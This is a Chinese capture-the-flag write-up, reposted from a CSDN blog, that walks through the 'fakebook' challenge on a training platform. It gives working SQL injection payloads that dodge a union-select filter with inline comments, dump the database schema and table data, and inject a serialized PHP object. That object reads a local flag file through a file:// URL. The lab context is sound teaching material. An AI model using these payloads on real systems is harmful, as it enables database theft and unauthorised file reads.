数据库
首页 > 数据库> > fakebook(攻防世界) (正则+robots+sql+绕过)

fakebook(攻防世界) (正则+robots+sql+绕过)

作者:互联网

fakebook(攻防世界)

1)

 2)扫描下可以找到有robots.txt

 3)输入/user.php.bak发现一个PHP文本,是说创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://(可有可无),然后是数字和字符,加一个.  然后是2-6个字母

4)创建个用户,主要注意blog

 5)注册成功返回

 6)点开aaa

 7)url中有no=1,尝试or'1'='1注入,存在注入后

order by 4#

8)只有列为4不报错,存在4个字段

/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata #

9)查看数据库,发现union select被过滤了,/**/可以绕过,获取到数据库:

      fakebook,information_schema,mysql,performance_schema,test

10)查看表名,只有一个表:users

/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

11)获取字段

/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"#

12)在几个字段里面,获取data的数据

 /**/union/**/select 1,group_concat(data),3,4 from users#

 13)发现我们注册信息被序列化,看了一下网上的wp,发现他们在扫描目录的时候,有一个flag.php在/var/www/html里面,构造反序列化语句

14)采用构造file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径)

 /**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:14;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 15)打开源代码

 16)直接点一下(或者把base64后的进行base64解码)

标签:group,name,union,robots,sql,fakebook,select,schema
来源: https://blog.csdn.net/m0_55793759/article/details/121116972